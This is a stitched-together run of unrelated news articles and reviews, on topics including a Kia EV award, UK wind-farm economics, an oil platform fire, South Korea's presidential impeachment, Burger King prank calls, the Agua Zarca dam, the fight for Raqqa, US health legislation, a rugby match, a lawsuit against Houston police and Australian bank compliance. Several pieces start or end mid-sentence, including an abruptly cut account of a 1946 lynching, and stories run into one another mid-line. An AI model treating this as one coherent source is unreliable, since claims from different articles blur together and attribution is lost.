KL: This is not the sort of book she reads—or, rather, this is not the sort of book that the product Oprah endorses—since it neither prescribes a better reality nor posits an alternative reality to which you could escape. If she and I were talking, though, the first thing she’d want to know is how this book fit into the first-person journey of my life. Then I’d find myself quickly formatted into her production as a signifying woman of one sort or another. This is her real legacy. After Oprah, what first-person iteration is not a commodity?The Kia Soul EV Wins the Canadian Green Car of the Year 2015 Award
The opening ceremonies of the Vancouver International Auto Show on March 24 revealed a pleasant surprise for Kia Motors Corporation – their Kia Soul EV was announced as the first ever Canadian green car of the year.
The Automobile Journalists Association of Canada (AJAC) tested the car against three other finalists: The Honda Fit, the Subaru Legacy and the Toyota Camry Hybrid.
In choosing the winner, AJAC looked for the most environmentally-friendly and fuel-efficient vehicle for the the Canadian consumer.
Maria Soklis, Vice President and Chief Operating Officer for Kia Canada Inc. said:
“Kia Canada is thrilled that the all-new 2015 Kia Soul EV has been recognized by AJAC as the Canadian Green Car of the Year. This acknowledgement is testimony to Kia’s ongoing commitment to deliver environmentally friendly automotive solutions and diverse powertrains to consumers without compromising on design or comfort.”
The zero-emissions Kia Soul EV boasts class-leading 0-60 mph acceleration and a top speed of 90 mph. It has an impressive range of up to 125 miles per charge. Using a 240-volt system, the eco-friendly car can be fully charged in just four to five hours.
In Canada, retail prices for the car start from $34,995.
Further information on the Kia Soul EV can be found on Kia’s website.
Craig J Todd – Freelance writer with a passion for tech, trends and simplicity.
Connect with Craig on TwitterAccording to the study, the onshore wind industry generated £906 million in gross value added revenue to the UK economy in 2014, with £7 in every £10 invested staying in the UK.
The issue is a big one in Shropshire and Mid Wales, with a number of windfarm applications causing controversy across the region. Plans for large-scale windfarms in Powys, currently in the hands of a planning inspector, would also have an impact on Shropshire as pylons would stretch to just north of Oswestry.
Today's report states that more than a quarter of the economic benefits of onshore wind went to the area around the windfarm and almost half stayed in the UK region where the project was located.
The report by BiGGAR Economics for RenewableUK showed that the revenue onshore wind adds to the economy has risen by £358 million since the beginning of 2012, a 65 per cent increase.
A typical onshore windfarm sees investment of £2.97 million per megawatt of capacity over its lifetime, 69 per cent of which stays in the UK, with the local share of contracts in development, construction and operation all rising in the last few years, the study said.
RenewableUK's chief executive Maria McCaffery said the benefits to the UK of British onshore wind energy were "clear to see". She said: "Onshore wind powers local economies, bringing £199 million of investment into the local communities that host windfarms and creating jobs across the supply chain. Despite these facts, onshore wind projects are under threat from misguided Tory and Ukip policies."Photo: Cody Duty / Houston Chronicle Image 1 of / 13 Caption Close
Image 2 of 13 John Hoffman, CEO and Founder, Black Elk Energy John Hoffman, CEO and Founder, Black Elk Energy Photo: Black Elk Energy
Image 3 of 13 Commercial vessels spray water to extinguish a platform fire onboard West Delta 32 on November 16, 2012 in the Gulf of Mexico, approximately 20 miles offshore of Grand Isle, Lousiana. The Coast Guard was searching for two missing workers while four others were critically injured following the fire, which published reports say was sparked by workers using a torch to cut an oil line. less Commercial vessels spray water to extinguish a platform fire onboard West Delta 32 on November 16, 2012 in the Gulf of Mexico, approximately 20 miles offshore of Grand Isle, Lousiana. The Coast Guard was... more Photo: U.S. Coast Guard / Getty Images
Image 4 of 13 A supply vessel moves near the oil platform damaged by an explosion and fire. Four people were transported to a hospital with critical burns and two were missing. A supply vessel moves near the oil platform damaged by an explosion and fire. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 5 of 13 A Coast Guard helicopter flies over the area of an explosion and fire on the oil platform in the Gulf of Mexico. Four people were transported to a hospital with critical burns and two were missing. A Coast Guard helicopter flies over the area of an explosion and fire on the oil platform in the Gulf of Mexico. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 6 of 13 An oil platform damaged from an explosion and fire in the Gulf of Mexico, about 25 miles southeast of Grand Isle, La. Four people were transported to a hospital with critical burns and two were missing. An oil platform damaged from an explosion and fire in the Gulf of Mexico, about 25 miles southeast of Grand Isle, La. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 7 of 13 Damage from an explosion and fire on an oil platform in the Gulf of Mexico. Four people were transported to a hospital with critical burns and two were missing. Damage from an explosion and fire on an oil platform in the Gulf of Mexico. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 8 of 13 Damage from an explosion and fire on an oil platform in the Gulf of Mexico, Friday, Nov. 16, 2012. Four people were transported to a hospital with critical burns and two were missing. Damage from an explosion and fire on an oil platform in the Gulf of Mexico, Friday, Nov. 16, 2012. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 9 of 13 Damage from an explosion and fire on an oil platform in the Gulf of Mexico, about 25 miles southeast of Grand Isle, La. Four people were transported to a hospital with critical burns and two were missing. Damage from an explosion and fire on an oil platform in the Gulf of Mexico, about 25 miles southeast of Grand Isle, La. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 10 of 13 A Coast Guard helicopter flies over the area of an explosion and fire on an oil platform in the Gulf of Mexico. Four people were transported to a hospital with critical burns and two were missing. A Coast Guard helicopter flies over the area of an explosion and fire on an oil platform in the Gulf of Mexico. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated Press
Image 11 of 13 A supply vessel moves near an oil platform damaged by an explosion and fire, Friday, Nov. 16, 2012, in the Gulf of Mexico about 25 miles southeast of Grand Isle, La. Four people were transported to a hospital with critical burns and two were missing. less A supply vessel moves near an oil platform damaged by an explosion and fire, Friday, Nov. 16, 2012, in the Gulf of Mexico about 25 miles southeast of Grand Isle, La. Four people were transported to a hospital... more Photo: Gerald Herbert / Associated Press
Image 12 of 13 A supply vessel moves near an oil platform damaged by an explosion and fire. Four people were transported to a hospital with critical burns and two were missing. A supply vessel moves near an oil platform damaged by an explosion and fire. Four people were transported to a hospital with critical burns and two were missing. Photo: Gerald Herbert / Associated PressSEOUL, South Korea — There were euphoric cheers from the crowd outside the National Assembly on Friday when its speaker announced the outcome: By 234 to 56, South Korean lawmakers had voted to impeach President Park Geun-hye for her role in a corruption scandal that has paralyzed the country for two months. Her powers have been suspended, and Prime Minister Hwang Kyo-ahn has taken over as acting president.
The impeachment had been supported by an overwhelming majority of the electorate and long overdue. But it doesn’t solve South Korea’s endemic corruption problem. There is little sense that government officials high and low will suddenly clean up their act. Or that the other powerful parties to the scandal — some of South Korea’s major corporations — will suffer serious consequences, if accusations that they bribed the president and her friend prove true.
Since Ms. Park was first implicated in the scandal over connections to her longtime confidante, Choi Soon-sil, South Koreans have been stunned by the mountain of allegations against the duo. They include extortion, bribery, abuse of power, leaking classified documents and violating the Constitution.
Image President Park at a cabinet meeting on Friday. Credit Getty Images
Ms. Park held firm though, even as her approval rating tumbled to the single digits. She repeatedly apologized to the nation, but never admitted to criminal wrongdoing. When prosecutors named her Choi Soon-sil’s criminal accomplice, her spokesman denounced the allegation as “nothing but a house of cards that ignored objective evidence.”A LYNCH mob stopped a car carrying two black couples and their white employer on July 25th 1946. One of the black men, Roger Malcolm, had just been given bail after stabbing a white farmer. The mob tied up all four African-Americans and |
to keep it from exploding, mirroring similar deceptions at Burger Kings and other fast-food restaurants in other states in recent months.
Police said employees at the restaurant in the Minneapolis suburb of Coon Rapids got the call on Friday night from someone claiming to be with the fire department. The caller said the restaurant could explode, so they needed to relieve the pressure. The manager and other employees believed the caller and smashed all the windows on the ground floor.
Burger King continues quest for Peace Day burger after McWhopper rejection Read more
“Officers arrived and found that the manager and employees of the Burger King were smashing out the windows,” Sgt Rick Boone told the Star Tribune.
“The manager explained they’d received a phone call from a male who identified himself as a fireman who said there were dangerous levels of gas in the building and they had to break out all the windows to keep the building from blowing up.”
Boone said there was no immediate cost estimate for the damage. The restaurant was boarded up on Saturday, and investigators were trying to identify the caller.
Someone placed a similar call to a Burger King in Shawnee, Oklahoma, on Thursday night, claiming there were high levels of carbon monoxide in the building. KFOR-TV in Oklahoma City reported that the window damage there was estimated at $10,000.
“It is a little upsetting that they would try to give the fire department a black eye,” Thomas Larman of the Shawnee Fire Department told the station. “We would never do anything like that. We’re here to serve the public, protect the public.”
A similar call to Burger King in Morro Bay, California, about a purported gas leak in early February resulted in $35,000 of damage.
Not only did employees smash the windows, but a manager went as far as ramming his car into the building. And police in Tucson, Arizona, say several similar prank calls were placed to Jack in the Box restaurants there in early February, fooling workers at one store. A similar incident happened at a Wendy’s in Phoenix in late January.This article is over 1 year old
The international funders behind the hydroelectric dam opposed by murdered Honduran environmentalist Berta Cáceres are withdrawing from the project, the Guardian can reveal.
Three financial institutions had pledged loans worth $44m for the Agua Zarca dam on the Gualcarque river, which is considered sacred by the Lenca people and which Caceres campaigned against before her death.
Berta Cáceres court papers show murder suspects' links to US-trained elite troops Read more
Her murder last year triggered international outrage and piled pressure on the international backers to pull out of the project amid a campaign of intimidation against communities opposed to the dam.
The Civil Council of Popular and Indigenous Organizations of Honduras (Copinh) - the campaign group Cáceres co-founded – has long demanded that investors withdraw and make reparations for the human rights violations linked to the project.
Desarrollos Energeticos SA (Desa), the private company behind Agua Zarca, has two major shareholders: Potencia y Energia de Mesoamerica (Pemsa), a Panama-registered company whose president – former military intelligence officer Roberto Castillo – is also president of Desa. The other, Inversiones Las Jacaranda, is owned by the powerful Atala Zablah family, who are also on the Desa board.
Desa secured loans from Dutch bank FMO, Finnish finance company FinnFund and the Central American Bank of Economic Integration (Cabei).
Cáceres wrote to FMO in 2013 after the murder of her colleague Tomás Garcia, asking them not to finance Agua Zarca amid violence against the community.
Despite her plea, the loan was granted. Caceres was killed in March 2016 after receiving multiple death threats linked to her campaign, and just a few months after her name appeared on a military hitlist, a Guardian investigation found.
So far eight men have been charged with the murder including three with military ties, but the intellectual authors remain free.
FMO and FinnFund suspended their loans after police arrested a Desa employee in connection with the murder in May 2016.
But all three investors have now decided to withdraw completely from the Agua Zarca project.
In identical statements, FMO and FinnFund told the Guardian they “intend to exit as soon as possible. However, project financing being a complicated field, many aspects and issues have to be cleared from contractual and responsibility perspectives.”
Berta Cáceres's name was on Honduran military hitlist, says former soldier Read more
The Cabei, the largest investor, has simply stopped loan payments rather than seek a formal break in contract.
“The bank is no longer funding the project. Nor is there any intention to further invest in the project. Each bank is going to have their own exit strategy. Our bank stopped all disbursements,” spokesman Juan Mourra said in a statement.
Desa received $17m – just under 40% – of the loans before payments were suspended. The loans have not been sold, the Guardian was told.
An investigation commissioned by FMO following Cáceres’ murder largely blamed the violence on intra-community disputes and downplayed abuses by state and private security forces linked to the dam.
Francisco Javier Sanchez, a Copinh leader representing the Rio Blanco community, said that thugs continue to harass those opposed to the dam.
“We demand the [investors] withdraw from Agua Zarca and recognize the violence and serious human rights violations the project has caused [in the past] four years of repression. We have rejected a hydroelectric project on the sacred River Gualcarque,” he said.
The Agua Zarca dam was among hundreds of environmentally destructive projects sanctioned after the 2009 military coup d’etat without legally required community consultations.
At least 124 campaigners opposing mines, dams, logging and tourist resorts have been murdered since 2010, making Honduras the most deadly country in the world for environmental and land activists.
Such projects have been backed by prominent Honduran politicians, business figures and military officers, but many are bankrolled by international funders.'It’s What I Do,’ by Lynsey Addario
Photo: Penguin "It's What I Do: A Photographer's Life of Love and War," by Lynsey...
During the nearly three decades I have worked as a photojournalist, there have been many books, movies and articles showcasing women and photojournalism. In most, the question “Can you have it all?” is the main focus. The last book I cracked on this subject, “Shutterbabe,” was a ridiculous portrait of a young woman who called herself a photojournalist but was really a tourist looking for her next lover. I found this book insulting to the many serious female photojournalists out there who work hard every day to bring home the difficult stories and be taken seriously by the overwhelming male majority.
So when I was asked if I would review Pulitzer Prize winner and MacArthur grant recipient Lynsey Addario’s memoir, “It’s What I Do: A Photographer’s Life of Love and War,” I said yes with apprehension. Don’t get me wrong; Addario has the utmost respect of every photojournalist and photo editor I know. But publishers want to sell books; the romanticized life of a female war photographer is always a perfect platform to do that.
I was more than pleasantly surprised. Addario’s narrative about growing up as one of four daughters born to hairdressers in Los Angeles and working her way up to being one of the world’s most accomplished photojournalists, male or female, is riveting.
Addario thoughtfully shows how exhilarating and demanding it is to cover the most difficult assignments in the world. She invokes poignant memories of her experiences in Afghanistan, Egypt, Libya and other locales. Because her parents exposed her to a broad array of people, Addario is able to move in many cultures, gaining the trust and respect of her subjects and co-workers, which is crucial for any photojournalist. Yes, there are lovers and boyfriends along the way, but instead of weighing her narrative down with these accounts, Addario intimately recalls the difficulty of maintaining a romantic relationship with a man who does not understand what she does for a living. She also exposes her need to constantly prove to herself, her contemporaries and her editors that she is capable of delivering amazing storytelling images, just like the men.
Part Four: Life and Death will keep you on the edge of your seat as she recounts her abduction and abuse with three colleagues in Libya, the deaths of beloved photographers Chris Hondros and Tim Hetherington, also in Libya, and her pregnancy and the birth of her son, Lukas. Motherhood and photojournalism have traditionally been considered as contradictions. So when Addario writes about how she met and married her husband, Paul, I was struck again by her openness about their intimate conversations about starting a family and her fear of losing the mythical “edge” by following the domestic path.
Addario is a shining example of someone who has been able to “have it all,” but she has worked hard and absolutely suffered to get where she is. My hope is that she continues to live the life less traveled with her family, as I will be waiting for her next book with great anticipation.
Judy Walgren is The San Francisco Chronicle’s director of photography. E-mail: [email protected]
It’s What I Do
A Photographer’s Life of Love and War
By Lynsey Addario
(The Penguin Press; 357 pages; $29.95)Green Activists Face Up To 21 Years In Prison As Judge Rejects Climate Change Excuse
A lawyer for an environmental activist convicted of targeting an oil pipeline in North Dakota said he doesn’t think a judge’s decision disallowing the threat of global warming as a defense to justify the crime would be grounds for an appeal.
Defendant Michael Foster, of Seattle, said he has not decided whether to appeal his jury conviction to the North Dakota Supreme Court, and part of him wants “to honor the judge and the jury and their verdict.”
Foster took part in effort on Oct. 11, 2016, to draw attention to climate change by turning off valves on five pipelines that bring Canadian oil south. Foster targeted the Keystone Pipeline in North Dakota. Other activists targeted pipelines in Minnesota, Montana and Washington state.
A jury in North Dakota’s Pembina County on Friday convicted Foster after a weeklong trial of criminal mischief, criminal trespass and conspiracy. He faces up to 21 years in prison when he’s sentenced Jan. 18. The man who filmed his protest action, Samuel Jessup of Winooski, Vermont, was convicted of conspiracy and faces up to 11 years.
Foster had hoped to use a legal tactic known as the climate necessity defense — justifying a crime by arguing that it prevented a greater harm from happening. Prosecutors objected, saying they didn’t want a trial on global warming.
The New York Times, 10 October 2017CLOSE Here are the top stories for Sunday, July 23: At least 10 people died in the back of a sweltering tractor-trailer; Syrian forces pressed on to capture Raqqa; Fire tears through a Massachusetts apartment; A tiger and goat form an unlikely friendship. AP
Black smoke rises from a coalition airstrike that attacked an Islamic State militant position in the battle for Raqqa, Syria, on July 26, 2017. (Photo11: AP)
The Islamic State is struggling to mount an effective defense of the Syrian city of Raqqa, its headquarters, as local forces make rapid headway in ousting the militants, the U.S. military said.
The U.S.-backed Syrian Democratic Forces (SDF) said they have captured 40% of the city since June 6, when a ground assault began.
“We don’t see any significant counterattacks,” said Air Force Maj. Gen. Dirk Smith, a deputy commander of the U.S.-led coalition, “I’d characterize them in disarray.”
Since this month's recapture of Mosul, Iraq’s second-largest city, from the Islamic State, Raqqa has become the main focus of the fight against the militants, also known as ISIS. The battle to win back control of Mosul took nearly nine months.
It’s not clear how many ISIS fighters remain in Raqqa. Before the offensive began, some leaders escaped to the city of Mayadin, southeast of Raqqa on the Euphrates River. “ISIS made a strategic retreat,” said Andrew Tabler, an analyst at the Washington Institute for Near East Policy.
Smith said U.S. airstrikes and surveillance support have helped weaken the militants in Raqqa, leaving them confused and unable to effectively defend the city.
“ISIS is not quite sure what to do,” he said, adding that the militants have not been able to leave or enter the city.
SDF fighters and U.S. strikes began operations to isolate the city and weaken defenses months before the final ground offensive was launched.
One advantage the SDF has over Iraq’s military while fighting in Mosul is the terrain. Many neighborhoods in Mosul are crowded with narrow streets and alleys, and the city was home to about 150,000 civilians as Iraqi forces began their final assault. Attacking in a city is among the most difficult types of combat.
Raqqa is smaller than Mosul and not as densely packed.
But the U.S.-backed forces in the Raqqa offensive are not as well organized as Iraq's military, which led the ground assault into Mosul. In Syria, the coalition relies on a loose coalition of Arab and Kurdish fighters who don’t have the same level of training and organization as Iraq’i troops.
U.S.-backed Syrian Democratic Forces fighters walk past destroyed shops where they fight against Islamic State militants on the front line of the industrial district on the eastern side of Raqqa, Syria, on July 26, 2017. (Photo11: Hussein Malla, AP)
The United States provides the SDF's 50,000 fighters with arms and has deployed hundreds of advisers to work with them.
The coalition has increased airstrikes as the SDF closes in on Raqqa. On Tuesday, the coalition launched 24 strikes around the city, destroying 14 militant units, six fighting positions, four observation posts and other targets, U.S. Central Command reported.
It is difficult to predict whether the SDF will be able to maintain the pace of recent weeks. The militants may be allowing the opposition to advance into the city before hitting them with counterattacks, a tactic used in Mosul, said Jennifer Cafarella, an analyst at the Institute for the Study of War in Washington, D.C.
The Mosul offensive slowed amid stiff resistance from ISIS after an initial rapid advance.
The eventual fall of Raqqa will bring the coalition closer to ending ISIS control over cities and towns in Iraq and Syria, but it will not end the group’s ability to launch terrorist attacks in Europe and elsewhere and spread propaganda over the Internet.
“The physical representation of the caliphate will fall, but they have had three years to prepare for that,” said Katherine Zimmerman, an analyst at the American Enterprise Institute.
“These guys never give up,” Cafarella said.
Read more:
Read or Share this story: https://usat.ly/2w0IGiSOne of the primary arguments from Republicans for repealing ObamaCare is that the healthcare law is “collapsing.” But experts warn that the GOP’s legislation might destabilize insurance markets even more over time.
The Senate’s ObamaCare repeal-and-replace bill, released Thursday, would abolish ObamaCare’s mandate for people to have insurance, but it would still bar insurers from denying people coverage for pre-existing conditions.
Experts warn that arrangement would allow people to wait until they get sick to buy insurance coverage, likely driving up premiums
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On top of that, the GOP bill cuts back on ObamaCare’s tax credits, providing less financial assistance to help people afford a plan. So in addition to the lack of an enforcement “stick” to get healthy people to enroll, there would also be less of a “carrot,” in the form of financial assistance.
This combination could lead to more insurers pulling out of the market or hiking premiums, experts say, exactly the problems under ObamaCare that Republicans have talked about solving.
“A combination of repealing the individual mandate and diminishing premium subsidies would tend to destabilize the market,” said Larry Levitt, a healthcare expert at the Kaiser Family Foundation.
Rodney Whitlock, a former Republican congressional staffer who is now a healthcare consultant, wrote on Twitter that the lack of a mandate combined with lower financial assistance “is pretty much the definition of a death spiral.”
However, sources say it is likely that an alternative to the individual mandate will be added to the bill next week before it is passed. That alternative is expected to be a provision requiring people to wait six months before signing up for insurance if they have a gap in coverage.
Sources say the language is encountering problems under Senate rules governing the fast-track process being used, and Senate Republicans are working on ways to make the provision comply.
Even if some mandate alternative were added, the legislation could lead to problems in the market.
The legislation provides billions of dollars in a “stability fund” aimed at bringing down premiums for 2018 and 2019, which experts say is likely to make those years stable.
But after those two years, the funding starts to taper off.
Levitt said 2022 looks to be the first year where the market would face serious problems, due to reduced stability funding.
The reduced financial assistance for people buying insurance is also an issue. With less help in affording a plan, people are likely to gravitate towards skimpier plans with lower premiums, but much higher deductibles.
Consumers already face high deductibles under many ObamaCare plans, something Republicans have criticized. Experts say the GOP bill could make those deductibles worse.
Healthy people might not want to buy a plan with a large deductible, and could just decide to stay out of the market instead.
“Consumers might look at the benefit and say this is not good enough and I don't want to buy it,” said Dan Mendelson, president of Avalere Health, a consulting firm.
In the short term, though, the Senate’s bill would likely make the next two years more stable, given that it provides a large amount of stability funding for those years.
“In 2018 and 2019, they have done everything possible to establish stability,” Mendelson said.
However, Mendelson said the stability funds might not be enough for 2020. That year is also the first time the reduced tax credit kicks in. Before that, the bill maintains the current level of ObamaCare tax credits.
That change could make 2020, an election year, a problem in terms of rising premiums or insurers dropping out, he said.
Mendelson said he did not understand “why the president would be interested in legislation where the funding dries out in the year he's running for reelection.”San Francisco prides itself on its image as a bastion of diversity and progressive politics. But according to a new study by the San Francisco Foundation, the city’s policies are rapidly ejecting blacks, Latinos and Asians to become a “lily white” island in a heavily diverse region over the next 25 years.
The study found that the population of African Americans in San Francisco was 13.4 percent in 1970. That made blacks the second largest ethnic group compared to whites at about 75 percent of the population. But by 2000, blacks’ share had fallen to about 8%, and by 2013 to just 6.1 percent of city residents. Whites fell to 50 percent, due to Asians moving up to 34 percent of the city’s residents, but are set to increase their share of the population as the city becomes more expensive and elite.
Neighborhood gentrification, soaring housing costs, and wages that are lagging well behind the cost of living are driving the change. Only the type of high-wage earners in professional and technical services and finance jobs, whose incomes more than doubled in the last 35 years, are expected to achieve the economic gains necessary to be able to afford to live in “The City” in 2040.
The SF Foundation predicts over the next 25 years that the percentage of Asian in San Francisco will fall from 34 percent to 28 percent of city residents, and the Latino population will dwindle from 15 percent to 12 percent. The result will be whites moving back up from 44 percent to over 58 percent.
The stark trend has not been missed by San Francisco residents.
Six days ago, 1,447 backers on Kickstarter raised $77,318 to film The Last Black Man in San Francisco. The story follows two San Francisco natives, Joe Talbot and Jimmie Fails, who grapple with race, class, displacement, and the importance of friendship. They watch the city’s politicians using sales tax revenues from their poor neighborhoods to offer fabulous tax incentives to high-tech companies, which then boot dwindling Latinos from the Mission District and blacks from the Fillmore District.The Australian Adam Quinlan scored a hat-trick of tries on a dream Super League debut as St Helens secured a precious 35-34 win over Huddersfield to move to within a point of the leaders, Leeds, with two games left before the Super 8s.
Saints were never behind but Huddersfield hit back five times to level the scores and the half-backs Danny Brough and Jamie Ellis both failed with kicks at goal in the last 10 minutes that would have put them in front before the scrum-half, Luke Walsh, finally settled it with a last-gasp drop-goal.
Defences were all at sea throughout the 12-try thriller but the St Helens coach, Keiron Cunningham, will be delighted to get the win, especially after describing last week’s 46-18 defeat at Leeds as a “debacle”.
Quinlan became the seventh St Helens player to take on the full-back role in 2015, four days after arriving from Australia, and he could hardly have made a more memorable start to his Super League career.
He was tested out early with a couple of bombs from Brough but came through with flying colours and pulled off a crucial tackle on his opposite number, Scott Grix, before demonstrating his penchant for scoring tries.
He was on the spot on 15 minutes to collect a lucky ricochet after James Roby’s kick came back off Grix and was also in the right place to touch down Andre Savelio’s sloppy offload on the half-hour, although Saints’ determination to keep the ball alive deserved some reward.
Quinlan then demonstrated his alertness to support a break by Roby to complete his hat-trick four minutes before half-time.
Walsh kicked all three conversions but there were never more than six points between the teams in the first half as Huddersfield attacked with venom.
The Giants, in fact, could have been 18-0 up before Quinlan’s first score but for some careless finishing.
The second-rows Jack Hughes and Joe Wardle both broke through the Saints first line of defence with alarming ease, only to see their runs come to nothing, and the winger Jermaine McGillvary had an early try disallowed by the video referee, Richard Silverwood, for putting a foot in touch.
However, Silverwood over-ruled match referee Ben Thaler’s decision to disallow a try from Hughes, who stretched out of a two-man tackle to plant the ball on the line, and McGillvary finally got his reward when he collected Grix’s kick to touch down at the corner.
Trailing 18-12 at the break, the visitors hit back to level the scores for a third time within five minutes of the restart when Hughes’ offload created the space for the centre Leroy Cudjoe to cross out wide, although not so far out that Ellis could not kick his third conversion.
The arrival of Quinlan enabled Mark Percival to revert to his customary position at centre and he showed his danger by weaving his way through the Giants defence for his side’s fourth try but again Huddersfield hit back.
The prop Craig Kopczak and replacement hooker Kyle Wood were both held up over the line but the pressure told when Grix’s long pass got McGillvary over for his second try.
That made it 24-24, but the champions looked to have established a grip on the game at last when Roby’s short ball got the second-row Joe Greenwood lunging for the line and five minutes later Percival juggled with Walsh’s pass before scoring his second try.
Walsh was off target for the first time, but Saints were two scores in front for the first time at 34-24.
However, there was still time for a couple more twists, with Eorl Crabtree taking a pass from his fellow front-row, Craig Huby, to crash over and the centre Aaron Murphy forcing his way over out wide for Huddersfield’s sixth try on 71 minutes.
Ellis had the chance to put the Giants in front for the first time but he was wide with his sixth conversion attempt and Brough, the team’s normal marksman, then failed with an ambitious penalty attempt from halfway after Percival’s restart went out on the full.
It was left to Walsh to determine the outcome with a snap drop-goal two minutes from the end of a pulsating encounter.Transgender man sues Houston police over'real man' comments, insults
Kris Smith has launched a lawsuit against the city. Kris Smith has launched a lawsuit against the city. Photo: Kris Smith Photo: Kris Smith Image 1 of / 1 Caption Close Transgender man sues Houston police over'real man' comments, insults 1 / 1 Back to Gallery
Houston police hurled hateful insults at a transgender man while arresting him on a trumped-up trespassing charge that was later dismissed, according to a lawsuit filed recently in Harris County.
Officers taunted Kris Smith for not being a "real man" in a "jaw-dropping" barrage of insults, the 38-year-old told the Chronicle.
Eventually prosecutors dropped the charge. Smith is suing the city and arresting officers, alleging wrongful arrest and false imprisonment, in a suit seeking up to $1 million in damages.
Smith's fiasco started last December outside a Montrose-area Burger King.
"My girlfriend lives around the corner from there and I was leaving her house when I took a phone call for a job and walked around back behind the Burger King," Smith said.
As he chatted during the 15-minute phone call, he noticed a police car pull up in front of a man who appeared to be homeless, sitting in the corner of the parking lot.
Smith decided it was time to make an exit and started walking away - but the officer beckoned him over.
"He said, 'Turn around,' and started handcuffing me and I asked what for - and he said trespassing charges," Smith recalled.
Officers later said that a Burger King manager had called in the trespassing complaint, but Smith says no one ever bothered to come outside and ask him to leave. Smith maintains he was not even on the property at the time of the arrest, but was outside a small wall around it.
Police took in the other man, too, and dropped him off at a downtown jail without incident.
But once the other accused trespasser got out of the car, Smith's ride took a turn for the worse, according to the lawsuit.
Fearing safety issues at a men's facility, Smith told the cops he was transgender and would probably need to be taken to a women's jail.
"They told me they don't care if I [don't] have a penis, they'll put me in the guys' side anyway," he said.
On top of the alleged verbal onslaught, Smith was handcuffed but not belted to the seat. He ended up with a bruised nose, swollen and bruised wrists and a swollen bicep, according to the lawsuit.
The police made the trip "a pretty rough ride," he said.
Police have a very different account of the day's events.
According to sworn statement by authorities read aloud in court, Smith was sitting on the curb drinking a beer when police showed up, Harris County District Attorney spokesman Jeff McShan said.
The statement says Burger King manager Tiffany Ross told police she'd asked Smith to leave the premises after catching him panhandling in the drive-through line.
Smith called the police account "complete made-up craziness."
Ross failed to show up in court, however, so prosecutors eventually dismissed the case.
Smith's lawyer, U.A. Lewis, filed suit last month but she admitted it could be challenging.
"The city will likely claim immunity and the officers will also claim their immunity, so the case is going to be difficult," Lewis said.
Burger King, which is also named in the suit, did not respond to a request for comment.
Smith said that the unwarranted arrest was the worst part of the whole experience - and the transphobic taunting that followed is just a frustratingly normal aspect of being transgender.
"That's a severe bullying technique that they use and they think they can get away with it because it's just conversation," Smith said. "They think it's OK, and it's not OK. It's bullying, and no one deserves that."HONG KONG/SYDNEY (Reuters) - A money laundering probe at Commonwealth Bank of Australia (CBA.AX) is the latest in a slew of scandals denting the reputation of Australian banks as simple, reliable lenders at the forefront in the battle against financial crime.
FILE PHOTO: The logo of Australia's Commonwealth Bank adorns an automatic teller machine (ATM) in central Sydney, Australia October 18, 2016. REUTERS/David Gray/File Photo
Australian banks have lagged their global peers in both their spending and their approach on anti-money laundering and know-your-customer systems as they pursued rapid growth in customer deposits, some banking officials and experts say.
“In the last few years, regulators and banks have been focused on changing the whole bank culture to get all levels of staff taking compliance seriously,” said Philippa Allen, CEO of ComplianceAsia, which advices on compliance issues.
“That is not as widespread yet in Australia,” she said. “Australian banks have not had the big fines imposed on them like their global peers have.”
Know-your-customer (KYC) and anti-money laundering (AML) processes became a key focus globally after HSBC Group (HSBA.L) and Standard Chartered (STAN.L) were hit with hefty fines in 2012.
Major international banks are now spending between $900 million and $1.3 billion a year on financial crime compliance, according to analysis by corporate governance recruitment firm Barclay Simpson.
HSBC spent $1.6 billion on regulatory and compliance programs in the first half of 2017, up 12 percent from a year ago.
In comparison, CBA’s spending on risk and compliance fell 7 percent to A$470 million ($371 million) in the year to June, according to the bank’s annual report.
CBA said the drop was a result of the “timing and completion of key phases of risk and compliance projects” in the prior year including roll-out of refreshed teller machines.
The bank said it has hired more than 50 compliance professionals since 2015 and is strengthening its customer background check processes while upgrading technology used to monitor accounts and transactions for suspicious activity.
Rival National Australia Bank’s (NAB.AX) spend on compliance and operational risk was nearly unchanged at A$167 million in its first half-year.
LAGGING GLOBAL BENCHMARKS
The Australian Bankers’ Association estimates the country’s four major banks - CBA, NAB, Australia and New Zealand Banking Group (ANZ.AX) and Westpac Banking Corp (WBC.AX) and three main regional lenders - have together spent A$1.73 billion in recent years on implementing regulatory changes including foreign account tax compliance act and anti-money laundering rules.
“There is an issue and the issue is the KYC/AML standards in Australia has lagged the global benchmarks for several years,” said a senior banker at one of Australia’s Big Four lenders.
A Thomson Reuters survey last year found that 62 percent of Australian financial firms had not made changes to meet the 2012 recommendations by the Financial Action Task Force (FATF), a global group of government anti-money-laundering agencies. (tmsnrt.rs/2v7TcZ9)
Most Australian firms are also less reactive to regulations: 65 percent said regulatory change would be an influential factor that could lead them to make changes to client due diligence, compared with a global average of 76 percent, the survey found.
“(Australian) banks have clearly been behind the curve when you look at the amount of details required to open a customer account and doing periodic review of those accounts,” said the banker, declining to be named due to sensitivity of the issue.
Australian banks including CBA advertise that prospective migrants or those on short-term working holiday visas can open an account prior to arrival.
“It’s quick to open and you’ll get your bank account details straight away,” CBA says on its website.
CBA declined to comment on specific questions relating to opening accounts, but referred to a statement this month which said the bank was strengthening its KYC processes with investments of more than A$85 million.
CBA, Australia’s No.2 lender, is facing a potentially record fine over breaches of money-laundering and counter-terrorism financing laws. It blamed a coding error for most of the issues and says it will defend the case brought by regulator AUSTRAC.
“CULTURAL PROBLEM”
Other scandals at Australian banks in recent years have involved interest rate rigging, product mis-selling and poor financial advice, leading to mounting pressure for a wide-ranging government inquiry into the sector.
Australian Securities & Investment Commission Chairman Greg Medcraft said this month there was a “serious cultural problem” in how the Australian banks dealt with regulators. He accused banks of being “far too legalistic” and failing to give enough attention to non-legal risks such as reputational damage.
Such criticisms come against a backdrop of cutthroat competition to lure customer deposits, the biggest source of funding for top banks, to meet the new regulatory requirements to improve their capital buffers.
A pedestrian walks past a logo for the Commonwealth Bank located outside a branch in Sydney, Australia, May 8, 2017. Picture taken May 8, 2017. REUTERS/David Gray
Australia’s “Big Four” banks have boosted domestic deposits to about 60 percent of total funding from 40 percent in 2007.
